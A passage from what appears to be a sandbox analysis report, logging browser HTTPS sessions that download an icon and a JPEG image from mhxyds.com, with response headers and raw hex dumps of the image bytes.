183 Safari/537.36
Host: mhxyds.com

Session ID Source IP Source Port Destination IP
Destination
Port

Process

81 118.27.105.118 443 192.168.11.20 63159 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:48 UTC 942 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:47 GMT
Content-Type: image/x-icon
Content-Length: 67646
Last-Modified: Sun, 06 Sep 2020 01:57:26 GMT
Connection: close
ETag: "5f544206-1083e"
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:48 UTC 942 IN Data Raw: 00 00 01 00 01 00 80 80 00 00 01 00 20 00 28 08 01 00 16 00 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 
00 20 00 00 00 00 00 00 00 01 00 13 0b 00 00 13 0b 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff 
ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 
ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 
00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff 
ff 00 ff ff ff 00 ff ff ff 00 ff 
Data Ascii:  (( 

2022-08-11 03:42:48 UTC 958 IN Data Raw: 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 58 82 30 00 ff 
82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 
ff 82 30 00 ff 82 30 00 fe 82 30 00 3f 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 
00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 
30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 
82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
Data Ascii: 00000000X000000000000000?00000000000000000000000000000000000000000

2022-08-11 03:42:48 UTC 974 IN Data Raw: 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 
00 00 82 30 00 00 82 30 00 00 82 30 00 79 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 
82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 d3 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 
30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 
82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
Data Ascii: 0000000000000000000000y000000000000000000000000000000000000000000

2022-08-11 03:42:48 UTC 990 IN Data Raw: 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 
00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 
30 00 8a 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 
82 30 00 ff 82 30 00 ff 82 30 00 fa 82 30 00 0e 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 
82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
Data Ascii: 0000000000000000000000000000000000000000000000000000000000000000

Copyright Joe Security LLC 2022 Page 298 of 310



2022-08-11 03:42:48 UTC 1006 IN Data Raw: ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff 
ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff 
ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 
ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 
00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 
Data Ascii: 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

82 118.27.105.118 443 192.168.11.20 59276 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:48 UTC 1008 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:48 GMT
Content-Type: image/x-icon
Content-Length: 67646
Last-Modified: Sun, 06 Sep 2020 01:57:26 GMT
Connection: close
ETag: "5f544206-1083e"
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:48 UTC 1008 IN Data Raw: 00 00 01 00 01 00 80 80 00 00 01 00 20 00 28 08 01 00 16 00 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 
00 20 00 00 00 00 00 00 00 01 00 13 0b 00 00 13 0b 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff 
ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 
ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 
00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff 
ff 00 ff ff ff 00 ff ff ff 00 ff 
Data Ascii:  (( 

2022-08-11 03:42:48 UTC 1024 IN Data Raw: 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 58 82 30 00 ff 
82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 
ff 82 30 00 ff 82 30 00 fe 82 30 00 3f 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 
00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 
30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 
82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
Data Ascii: 00000000X000000000000000?00000000000000000000000000000000000000000

2022-08-11 03:42:49 UTC 1072 IN Data Raw: 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 
00 00 82 30 00 00 82 30 00 00 82 30 00 79 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 
82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 d3 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 
30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 
82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
Data Ascii: 0000000000000000000000y000000000000000000000000000000000000000000

2022-08-11 03:42:49 UTC 1088 IN Data Raw: 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 
00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 
30 00 8a 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 82 30 00 ff 
82 30 00 ff 82 30 00 ff 82 30 00 fa 82 30 00 0e 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 
82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 00 82 30 00 
Data Ascii: 0000000000000000000000000000000000000000000000000000000000000000

2022-08-11 03:42:49 UTC 1104 IN Data Raw: ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff 
ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff 
ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 
ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 
00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 00 ff ff ff 
Data Ascii: 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

83 118.27.105.118 443 192.168.11.20 59277 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:48 UTC 1040 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:48 GMT
Content-Type: image/jpeg
Content-Length: 187861
Last-Modified: Sun, 05 Feb 2017 14:32:26 GMT
Connection: close
ETag: "5897377a-2ddd5"
Expires: Sat, 10 Sep 2022 03:42:48 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:48 UTC 1040 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 
02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 
0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c ff c0 00 11 08 01 4a 03 e8 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 
00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 
04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CCJ"}!1AQa"q2

2022-08-11 03:42:48 UTC 1056 IN Data Raw: 52 d8 6f d8 48 e0 29 fb a9 ff 00 01 03 eb de b0 53 c4 da af 8a b7 59 c7 1d c3 46 01 63 65 67 f2 20 e3 f8 db 8f 
c4 92 2b 63 c2 5e 06 8f 72 fd b2 e3 6b 28 c2 da 69 51 97 94 fa 8f 37 ee af bb 72 69 5e ef 40 2b f8 97 c6 3a 96 af a7 8b 1b 
71 0e 97 6e 18 11 69 67 11 f3 25 3e ed c9 62 3d 4f 7e f5 0f 86 bc 13 0c 17 31 c9 a9 98 6c 79 1b 61 11 35 c5 dc 87 fb c5 
07 ca a7 dd 8e 6b bc 87 c2 b0 e9 56 0b 0c cf 0e 93 04 c7 e6 44 1b a7 90 7a 33 67 27 f1 ac 5d 6b e2 16 93 e0 ed d1 e9 ce 
df 68 8f 83 29 0b e6 0f ab 63 8c fe 74 fd 40 d4 d3 3c 24 d6 23 cd db 0e 87 0c 80 b0 9a e5 cc b7 d3 7f b5 fe c9 3e 83 18 f5 
af ae ff 00 e0 94 1f 0b f4 7b bf 1c 78 93 c6 0d 9f b2 68 70 8b 0f b6 dc 1c b2 49 22 f9 93 b9 27 fb b0 af 27 3f c7 5f 06 f8 8f 
c5 fa cf 8a 9b 74 f2 4d 6f 0b a9 65 43 9f 
Data Ascii: RoH)SYFceg +c^rk(iQ7ri^@+:qnig%>b=O~1lya5kVDz3g']kh)ct@<$#>{xhpI"''?_tMoeC

2022-08-11 03:42:49 UTC 1106 IN Data Raw: 0f 69 3a a7 8a fc 5d a8 37 ee 6d a0 b7 f3 6e a4 24 8c b2 a9 f9 61 8c 71 99 1f 00 0e 6b 39 4a da b1 c6 2d bb 
44 ab f0 7b c6 1a c7 85 be d5 6f a8 d9 c3 7b e1 dd 56 df ca bd d2 75 06 69 25 d4 94 72 25 6e 47 97 8e d2 12 a4 71 82 2b 
ef af f8 27 ff 00 fc 13 3e 2f da 2b f6 2d f8 a5 0f 83 ee d3 46 f0 bf c4 83 a7 c7 a3 49 ac 24 92 8b 5b 8b 3b 95 96 49 8b 0e 
66 4c 6f 8c 32 6d 0d d0 f7 35 da 7c 13 ff 00 82 4f 7c 35 fd 90 be 1d af c4 cf da ab c4 da 0c 56 d6 44 5c 0f 0f 9b b3 fd 9b 
1c 98 05 52 77 cf 99 7d 30 20 fe ed 7e 4c f1 86 15 9f f1 0f fe 0b cf 3f 8e be 1c 78 f3 57 f8 37 e1 51 a3 f8 43 e1 d4 36 b6 fa 
51 9e d3 64 ba b4 b2 4e 91 26 c8 10 62 28 55 49 21 3a 9c 7c db 46 45 79 75 31 33 c4 7b 98 5d b4 f7 9e da 3e 9d cf 6e 
8e 0e 9e 13 f7 b8 e7 ad b4 82 f8 b5 d3 5e da 3f 
Data Ascii: i:]7mn$aqk9J-D{o{Vui%r%nGq+'>/+-FI$[;IfLo2m5|O|5VD\Rw}0 ~L?xW7QC6QdN&b(UI!:|FEyu13{]>n^?

2022-08-11 03:42:49 UTC 1122 IN Data Raw: 9a 40 a0 fd cf 99 88 18 ce d2 07 18 ca a7 25 cc e6 f6 fc 3f e1 97 e2 fc 90 eb 61 e4 e9 47 0e 9f bc f7 b2 d7 54 
ac bb 73 cb ff 00 25 8e 96 bc 9b 30 6d 6f ec fc 41 63 1e a1 0d d3 5a db dc 59 ac fa 8d ec 99 45 c3 8d ad 95 ce 09 55 1e 
4c 71 16 0a 98 63 c1 66 61 ea 5e 18 b6 d3 fc 0d e0 65 f1 87 88 19 74 9d 2e d5 0c 1a 2d a3 30 32 5c 31 20 99 3e 61 97 
66 20 60 63 07 68 e3 03 68 f3 bf 83 1a 2e 9b aa dd ea d6 ba b5 e5 ad d7 85 7c 2b 7a ba 8a cf 24 42 19 35 79 25 dc 49 65 
ec 89 34 53 70 32 31 b4 0e 87 38 ff 00 b4 77 8f 2e 3c 5d e3 8b 4d 62 fa 4b 18 6e 74 c8 a7 1e 1b b3 ba 7c 59 e9 11 2c 7f 
be be 99 7b 98 d3 8f 60 76 af cc c7 15 1c 2c ab d4 e4 fb 2b 77 e5 db d5 ad fb 2f 50 fe d7 a5 97 e1 9d 76 97 b5 9a b2 8a 
d7 de d9 b7 af c3 16 ac 97 da 7a bd 22 ef 93 f1 bb f6 8a 
Data Ascii: @%?aGTs%0moAcZYEULqcfa^et.-02\1 >af `chh.|+z$B5y%Ie4Sp218w.<]MbKnt|Y,{`v,+w/Pvz"

2022-08-11 03:42:49 UTC 1138 IN Data Raw: f1 32 f6 de de 3b 3d 96 b6 31 bf de 86 de 3d c4 fb 9d a3 93 ed 49 c9 47 71 2a 6e 6f bb fe ba 1d 03 ea 53 25 cb 
5c ea 17 76 f3 6c 26 18 bc 83 b9 b7 9e 9f 36 30 a4 f0 36 c6 33 f8 d1 5f 58 7e c7 7f b3 5e 89 fb 14 fc 2b b3 fd a1 be 3d 5a 
34 da e5 c0 df e0 0f 06 5c c7 9b b9 a6 c6 52 ea 58 b9 21 b9 0c ab 8c 46 a4 31 f9 8a 80 53 8c b4 d7 f1 2e a4 6c ec ae fd 
36 32 e4 f1 8f 87 74 7f 15 c1 a3 db f8 4e 4d 46 ea d6 59 65 ce a7 75 f6 95 08 91 95 79 4a 28 c1 3c 32 0c 9e aa d8 23 3c 
d3 be f8 cf e2 0f b5 ac 76 fa 3e 9f a5 e9 b0 ac 49 05 a2 d8 24 93 4d 71 30 57 82 0d cf bf 63 7c cb 90 08 da 1d b3 f7 78 a5 
e1 68 64 f0 6f 84 66 d6 1a da 18 ee af 63 5b 8b 9f 30 85 11 a2 3f 93 14 2c cd c9 df 26 3c ce e7 73 d6 17 8b 7c 3f 3d dd f6 
93 e1 f9 35 37 6b c8 8d c6 b1 ac 5d ef 65 95 
Data Ascii: 2;=1=IGq*noS%\vl&6063_X~^+=Z4\RX!F1S.l62tNMFYeuyJ(<2#<v>I$Mq0Wc|xhdofc[0?,&<s|?=57k]e

2022-08-11 03:42:49 UTC 1154 IN Data Raw: 4d a2 04 86 f2 ee 35 da 4a 3f 5f 2e 21 fb b5 d8 08 fb c7 20 91 5f 22 f8 83 e2 33 68 d3 44 75 06 8e d7 4e 90 09 
04 5b 97 6c c7 19 19 8f e6 76 6f 76 dd f5 15 4e 49 13 18 b7 a9 d0 69 b2 e8 fa 42 c7 6a fe 57 da 31 88 24 6b 9f 35 a2 77 
1b 4b 23 8c c4 1c f4 dc 3c c7 1d 77 0e a3 ad f8 79 fb 7b f8 db e0 8a 40 34 fd 7e e1 b4 b6 23 6d bd dc ff 00 69 b6 d8 bc 61 
16 42 d2 36 7b 95 3c 9f 4a f9 db 5f f1 dd f7 88 20 f2 e1 ff 00 43 92 69 04 ab 35 d2 09 6e a6 04 9f b9 0a 8c 28 03 81 bb 9c 
77 14 2f 86 66 d2 6f bf b4 b5 2b c8 ed 5a 46 f2 89 92 4f 32 72 c3 07 68 6e 54 13 9e 42 6e 23 da a7 9b b1 a7 b3 ee 7d e1 
f0 cb fe 0b 67 a7 f8 95 a4 d3 7c 79 e0 88 e4 b1 92 43 1a 35 81 f3 a4 b8 5f ef 35 ac 9b ba fa 03 c7 f2 ea 0f c2 4f d9 3b f6 
d2 9a 79 74 59 20 f0 9f 88 99 b9 7b 70 da 4c 
Data Ascii: M5J?_.! _"3hDuN[lvovNIiBjW1$k5wK#<wy{@4~#miaB6{<J_ Ci5n(w/fo+ZFO2rhnTBn#}g|yC5_5O;ytY {pL

2022-08-11 03:42:49 UTC 1170 IN Data Raw: e6 bf 3d 7f 68 ef da 9b e2 27 ed 8d e2 98 f5 2f 19 78 aa f7 c5 ec bb a5 86 de 74 fb 26 87 66 3a 9f 2a d4 12 1f 
6f f7 9b cc 27 82 42 d7 8e f8 8f e2 16 97 a7 79 92 dc 5e cd e2 6b d8 63 f2 14 93 b2 d2 35 1d 13 f8 86 07 65 01 c7 fb 2b 59 
fd 4e 55 3d ec 4c b9 bc b6 5f 77 5f 9d cd 56 61 1a 6b 97 09 1e 45 df 79 3f 57 d3 e5 63 da fe 3d 7e d6 7e 3e fd b0 3c 44 
75 0f 18 eb d7 be 2e 96 39 8f 96 97 4a 6d f4 3b 17 ee 91 5a 29 3e 68 03 bc 9b bd e2 15 db 7e ca 1e 15 d1 fe 18 f8 3b 50 
f8 f5 f1 1a 46 d5 fc 3f e0 11 b3 44 b2 69 16 3b 7d 6f 53 6c 8b 7b 38 55 41 c2 87 e5 88 f9 55 41 3b 46 0d 7c dd f0 3f c0 1e 
33 fd b0 be 2f e8 de 0b d2 e4 9a 24 d4 9f 64 ee 57 ca b5 b2 b6 50 1a 49 5d 7f 89 51 72 4e f3 8e 98 03 35 e8 3f b7 37 ed 
01 e1 bf 88 fa ce 83 e0 3f 00 c3 2e a3 f0 c7 e1 
Data Ascii: =h'/xt&f:*o'By^kc5e+YNU=L_w_VakEy?Wc=~~><Du.9Jm;Z)>h~;PF?Di;}oSl{8UAUA;F|?3/$dWPI]QrN5?7?.

2022-08-11 03:42:49 UTC 1186 IN Data Raw: e0 7d f9 4f 27 24 05 5e 2b d5 be 00 d8 69 ff 00 0d 3e 16 fc 4e f1 2c 2c d6 ff 00 65 d0 a2 d1 a0 b8 97 2c 64 9a 
fa 70 99 50 17 1c 44 92 90 14 60 fa d7 9e cb a9 dc 6b db 7c 9b 5f 31 78 c5 c5 f2 fc 83 fd d8 86 4b 7f c0 8b 72 7b 50 d0 19 
36 1e 1e b1 d2 5b fd 17 ec f3 34 5f 38 b9 b8 c2 c4 83 a6 51 7e ee 7f 07 39 f4 a9 60 86 4f 10 26 e8 fc cb e7 62 07 da 6e 50 
ac 1c 7a 29 24 b9 fa e4 7a 01 5b 76 5f 0f a1 d3 9f ed 7a dd c7 99 36 32 89 32 96 7f c2 31 d3 39 e3 77 4a f7 2f d9 a3 f6 34 
f8 99 fb 56 6a 5f 63 f8 77 e1 3b e9 ad 39 49 75 8b a1 e4 d9 db 82 7b ce df 22 f1 fc 31 f3 53 29 42 0b 9a 6e c8 d2 9d 39 d4 
97 24 13 6d f4 47 8a 27 c3 6d 2e de 38 ae b5 9b a9 2e a6 8c 06 11 dc 0c 05 ef f2 43 f9 0c b6 d1 5e 97 f0 2f f6 75 f8 8d fb 
4c 78 89 34 bf 86 fe 13 d4 b5 52 ac ab 
Data Ascii: }O'$^+i>N,,e,dpPD`k|_1xKr{P6[4_8Q~9`O&bnPz)$z[v_z62219wJ/4Vj_cw;9Iu{"1S)Bn9$mG'm.8.C^/uLx4R

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:49 UTC 1202 IN Data Raw: 6f f5 5f 8b 9e 05 b8 f8 7f e4 c9 a4 6a b0 4d 35 f7 83 6e ae 17 32 12 46 fb ad 34 b9 e4 09 54 19 23 e9 f3 c6 47 
f1 57 98 de 49 e1 bf 0f ea f2 ab dd 5d 78 a3 51 5c a9 db 16 e4 8c fa 1c fc bc 7b ee 3e d5 6b 4b 8b 52 d0 f5 bb 3d 5a eb 
c4 57 47 54 b6 94 5c db ad b3 6d 8e 09 14 86 46 55 18 c3 06 00 e4 02 46 3a d7 a3 7c 77 16 33 f8 7b 4d f8 8d a1 da 59 
e9 fa 7f 8a a6 68 35 78 ed e1 c9 d3 f5 75 1b e5 40 17 90 93 73 2a 00 54 72 e3 9d b4 21 1c bf c2 1b 1b ef 1d 7c 4b d1 34 
fd 46 15 d2 f4 1f 3c 49 7c a4 0c ad bc 60 c9 26 49 c1 db b1 1b a0 55 aa 7e 22 d6 a0 f1 0f 88 f5 6d 79 a1 fb 45 c6 b1 79 2d 
ec 97 77 db 51 14 bb 16 f9 54 fc b8 e4 01 f7 ce 07 4a ee 7e 0e 78 5f 53 93 e0 87 8c 3c 41 63 0b a5 f6 a5 8d 16 d6 4b 9d 
ab b0 ce c0 49 20 5c 60 62 25 94 71 9e bd 6b 02 c7 e1 
Data Ascii: o_jM5n2F4T#GWI]xQ\{>kKR=ZWGT\mFUF:|w3{MYh5xu@s*Tr!|K4F<I|`&IU~"myEy-wQTJ~x_S<AcKI \`b%qk

2022-08-11 03:42:49 UTC 1218 IN Data Raw: 39 6d c3 f8 49 c8 c1 f6 ad ad 67 50 6b 7f 15 ea d3 79 2b 2b cf 7d 3b 22 28 1f c5 2b 63 3e f5 d1 46 5e ed 9e d7 
38 b1 14 ad 2e 68 a5 7b 6d eb ff 00 0c 6d 21 65 b7 58 e6 93 76 cc e5 7c cc 79 7e e4 0e 28 9f 57 b4 bf 78 d1 56 e0 47 80 
91 22 c5 80 a3 d7 24 f5 3d 6b 13 c4 9a cc 96 77 0b 6d 08 85 5a dc 05 9c 9c 04 0e 71 f2 0e 7f 87 b9 f5 cd 56 d3 af a4 7b 
b2 d2 5c 69 ea b8 c1 1e 66 72 7f 22 7f 2a ec 78 84 9f 2a 3c e8 e0 e4 e3 ce ce ca de 48 02 32 c5 67 34 98 e1 4b 4a 30 4f 
be 2b 52 da 79 a6 81 a1 86 de de 19 19 70 58 46 cc e3 d0 83 d3 fa d7 2a 97 2e f0 ac 7f 6c 9b 6e 41 db 0c 0d b4 fe 3c 7e 
b5 ad 6a 6c d4 ab 4d 35 f3 f9 67 22 22 e9 1e 7f 53 fa d7 4c 67 ae 87 0d 4a 2e d7 7f a9 e9 7f 19 75 e9 2f 7e 23 4d a8 4d 
aa 49 63 16 b9 67 6b a9 0b 68 72 0f ef 60 42 c7 8e a4 
Data Ascii: 9mIgPky++};"(+c>F^8.h{mm!eXv|y~(WxVG"$=kwmZqV{\ifr"*x*<H2g4KJ0O+RypXF*.lnA<~jlM5g""SLgJ.
u/~#MMIcgkhr`B

2022-08-11 03:42:49 UTC 1234 IN Data Raw: 63 8d bc a0 a4 67 76 fc 11 83 9e 9d ab 7f 89 68 73 c6 2a 12 d7 4f eb f2 23 b7 d7 d6 ed 1e 54 58 fe d1 e5 ef 60 
5f 68 93 b6 47 f3 19 c8 ed eb 96 dd dd ff 00 6a e9 3b ed bc e6 69 53 01 87 ce 0f 3c a3 27 f0 91 8e de 9c 56 7c 56 71 5e 
5f c2 cb 13 35 d4 7c 00 00 52 a3 d4 03 dc f5 c1 e1 87 bd 76 7f 04 7c 07 a8 7c 67 f8 a3 a4 78 63 43 b1 96 4d 53 55 b9 5b 
75 21 7f 74 c0 90 1c ee ed 81 93 cf dd c1 e6 b4 8d db b3 32 94 54 7d e8 a3 d3 ff 00 64 78 df e0 c7 c3 cd 7b e3 5f 88 ac 
a1 8a fb 40 73 a2 78 52 09 40 2b 7f aa c8 a7 6c f8 ee 96 e9 fb d6 3e a1 06 79 a9 3c 25 fb 5d c1 f1 1b 41 b5 f0 8f c6 48 35 
